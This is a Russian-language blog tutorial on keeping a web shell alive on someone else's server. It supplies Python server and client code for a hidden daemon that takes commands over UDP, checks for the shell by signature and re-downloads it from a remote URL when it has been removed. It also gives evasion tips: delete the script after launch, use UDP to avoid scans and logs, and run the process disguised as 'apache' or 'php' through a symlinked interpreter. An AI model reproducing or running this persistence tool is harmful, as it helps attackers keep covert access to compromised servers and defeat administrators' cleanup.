Бессмертный SHELL. Продолжаем практику web shell строительства.

Иногда возникают ситуации, когда был залит web shell на хороший хост, с которого ой как не хочется уходить, тогда первым делом, конечно, надо хорошо закрепиться на сервере, создать условия для максимального затруднения обнаружения шелла (и в том числе для ав) в отдельном файле или уже существующем, а это первым делом обфускация, ну и несколько других моментов надо учитывать (некоторые можно посмотреть с нашей первой статье о web shell).

Но порой даже хорошие методы запрятывания могут быть сведены на «нет» тотальной чисткой и переустановкой движка. В таком случае надо иметь дополнительную подстраховку, которая, конечно тоже может быть ликвидирована внимательным администратором, но тем не менее она все равно хорошо прикрывает тылы и дает определенную вероятность на восстановление web shell.

Суть этого нехитрого метода заключается в загрузке определенного скрипта в память, чтобы он раз в некоторое время проверял наличие web shell и при его отсутствии встраивал его заново (или грузил временный, через который мы бы снова быстро встраивали основной). Этот метод теряет свое значение, когда происходит перезагрузка сервера (а это событие для серверов достаточно редкое) или админ сам обнаруживает странный процесс и убивает его, но с этим можно кое-что сделать, чтобы усложнить задачу (уйдет в конце).

[ad name=»Responbl»]

Скрипт можно реализовать на большинстве языков, интерпретаторы которых установлены на сервере (можно и спецом на C, но легче на скриптовом), на bash’е и пр., исключением в большинстве случаев будет PHP, так как у него обычно есть ограничения на длительность выполнения, которое конечно можно обойти самозапуском, но это добавляет сложности и вероятности к обнаружению админом, так что лучше им пренебречь.

В данной статье будет приведен пример реализации задумки на питоне и сделан готовый, но не полнофункциональный скрипт (функционал всегда можно расширить самостоятельно под нужные цели).

Схема работы.
Тут можно пойти двумя способами:

  1. Запуск под конкретные параметры локально;
  2. Запуск и ожидание поступления команд с параметрами с удаленного хоста;

У первого способа из преимуществ, наверное, только простота реализации, а из недостатков — повышенная вероятность детекта через листинг процессов (так как будут видны параметры запуска), статичность (заточен строго под определенную конфигурацию). Вторая же реализация лишена тех недостатков и будет способна менять свои параметры налету, получая удаленные команды, но придется написать клиента и сервер.

Отдельно следует заметить, что после запуска такого скрипта, его файл надо удалять, чтобы не было следов и причин начать прочесывать процессы.

Теперь более подробно о деталях. Алгоритм работы (серверной, основной части) может быть следующим:

  1. в отдельном потоке в бесконечном цикле проверка на получение команд (и реагирование, если получены);
  2. проверка наличия файлов по параметрам и реагирование;
  3. засыпаем на N секунд и возвращаемся на 3 шаг;

Детали: работать будет на UDP порту (чтобы не сильно светился при скане nmap’ом, ну и вообще без лишних хендшейков для меньшего засвета, если траф логируется), настройки будет хранить в памяти, при получении команды будет их менять динамически (если команда корректна), отвечать об успешности, будем проверять как наличие параметров для проверки и восстановления файлов, так и сами файлы и реагировать на эти ситуации. Параметрами будут — текстовая сигнатура, которую надо искать во всех файлах и папках указанного пути (это часть кода шелла), сам путь, где искать, линк на скачивание нового шелла и путь, куда его сохранять (встраивание в другие файлы можно реализовать самостоятельно при желании).

[ad name=»Responbl»]

У клиентской же логика будет заключаться в простом в получении определенного формата команд и отсылки их на сервер и отображении ответа от последнего.

Серверная часть.
Для возможности запуска в отдельном потоке реализуем класс, через который потом и будем запускать:

class RecieveMsg(threading.Thread):
   def __init__(self, addr): #конструктор, в котором обязательно указывать переменную для инициализации сокета
       threading.Thread.__init__(self)
       self.udp_socket = socket(AF_INET, SOCK_DGRAM)
       self.udp_socket.bind(addr)
       self.addr = None
  def run(self):
       global opts, interval
       #ниже бесконечный цикл, ожадающий данных, складирующий их в переменную-словарь и вызывающий функцию обработки
       while True:
           data, addr = self.udp_socket.recvfrom(8192) #расчитано на сообщение длиной не более 8KB, при желании можно убрать лимиты, усложнив алгоритм
           self.addr = addr
           if not data: continue
           params_dict = urlparse.parse_qsl(data)
           params = dict(params_dict)
           for k in params.keys(): #раскладываем полученные параметры, динамически меняя конфиг скрипта
               opts[k] = params[k];
           if hasattr(opts, 'interval') and opts['interval'].isdigit(): interval = opts['interval'] # отдельная обработка значения interval
           self.udp_socket.sendto(b'ok', self.addr)
       self.udp_socket.close()

Для проверки наличия шелла в файлах и реагирования, если он отсутствует лучше написать 2 отедльные функции, чтобы потом было легче допиливать:

def checkShell(): #функция для проверки наличия шелла по текстовой сигнатуре, которая передается с другими данными
   path = opts['path']
   sgntr = opts['sgntr']
   if not os.path.isdir(path): return False
   paths = [os.path.join(path,fn) for fn in next(os.walk(path))[2]] #для проверки беруться все файлы из папки, в которой надо проверять наличие шелла (для верности)
   exists = False
   for p in paths: #сама проверка содержимого каждого файла
       if sgntr in open(p).read():
           exists = True
           break
   return exists

def downloadShell(): #функция для скачивания и сохранения шелла в нужное место
   url = opts['loadurl']
   savePath = opts['saveto']
   if os.path.isdir(savePath): savePath = savePath + "/lib.php" #если вместо полного пути с именем шелла был подсунут путь к директории, тогда шеллу дается дефолтное имя lib.php
   savePath = savePath.replace("//", "/") #на всякий случай удаляем двойные слеши
   response = urllib2.urlopen(url) #получаем содержимое шелла
   data = response.read()
   shell = open(savePath, 'w+')
   shell.write(data) #сохраняем его (еще можно конечно ему через touch дату модификации поставить, но это оставлю на доработку желающим)

Ну и надо сделать саму функцию, которая будет реализовывать саму логику и вызываться с перерывом:

def startChecking():
   rparams = ["path", "sgntr", "saveto", "loadurl"] #обязательные параметры, на наличие которых переменная-конфиг будет проверяться каждый раз
   for rp in rparams: #сама проверка в цикле (чтобы можно было потом этих обязательных переменных еще добавить без изменения логики)
       if not rp in opts.keys():
           return #если хоть одного параметра нет, возвращаемся из функции
   exists = checkShell() #вызываем проверку на наличие шелла
   if not exists:
       downloadShell() #если предыдущий вызов показал, что шелл отсутствует, то вызываем фукнцию для его закачки

Вызов этой функции желательно организовать таким образом, чтобы выброс любого эксцепшена не убил скрипт (так как снова запустить мы его не всегда сможем, если, например, шелл был удален незадолго до этого):

if __name__ == '__main__':
   srv = RecieveMsg(addr) #создаем поток для получения и обработки данных
   srv.start()  
   while True: #цикл с вызова той управляющей фукнции через блок try-except
       try:
           startChecking()
       except BaseException:
           pass #просто переходим к следующей итерации, в случае эксцепшена
       time.sleep(interval) #ждем установленное количество секунд

Клиентская часть.
Тут вообще просто, вот функция для отправки данных, получения и отображения ответа:

def sendData(data):
   if not data :
       udp_socket.close()
       sys.exit(1)
   data = str.encode(data) #кодирование
   udp_socket.sendto(data, addr)
   data = bytes.decode(data) #lдекодирование ответа
   data = udp_socket.recvfrom(2048) #ответ должен умещаться в 2КB, можно изменить до большего
   print(data)

Вот сам код для ввода команд и передачи в эту функцию

while True:
       data = raw_input('command> ')
       if data: sendData(data)

При запуске клиента, надо установить адрес серверной части и номер порта (ключе см. через —help). Синтаксис команд для отсылки на сервер очень прост и описан при запуске клиентского скрипта с примерром, так что повтоярть его тут не буду.

Запуск.
Отдельно хотелось бы заметить, что запускать серверную часть лучше все таки определенным образом, чтобы он не слишком «светился» при мониторинге процессов через top или какие-нибудь аналоги. Лучше:

  • не запускать через абсолютный путь, а через ./script (так как его длина может чисто визуально выделять его среди других процессов);
  • переименовать в какой-нибудь apache, php, mysql и пр. (естественно, удалив расширение);
  • еще лучше создать линк на интерпретатор: ln -s /usr/bin/python php и запустить с его помощью переименованный файл: ./php apache;

[ad name=»Responbl»]

Так даже ключевое слово «python» должно пропасть при именовании и описании процесса скрипта.

Итог.
На выходе получили клиент-серверную связку из двух маленьких скритпов, которые должны по умолчанию запускаться на большинстве *nix системах (где обычно по умаолчанию стоит python, что будет достаточным условием, так как в скриптах исопльзовались стандартные модули), которые обладают минимальным функционалом для достижения поставленной цели, и которые с легкостью можно дорабатывать под свои конкретные нужды.

Рабочие файлы проекта можно скачать здесь

Click to rate this post!
[Total: 9 Average: 3]

Специалист в области кибер-безопасности. Работал в ведущих компаниях занимающихся защитой и аналитикой компьютерных угроз. Цель данного блога - простым языком рассказать о сложных моментах защиты IT инфраструктур и сетей.

Leave a reply:

Your email address will not be published.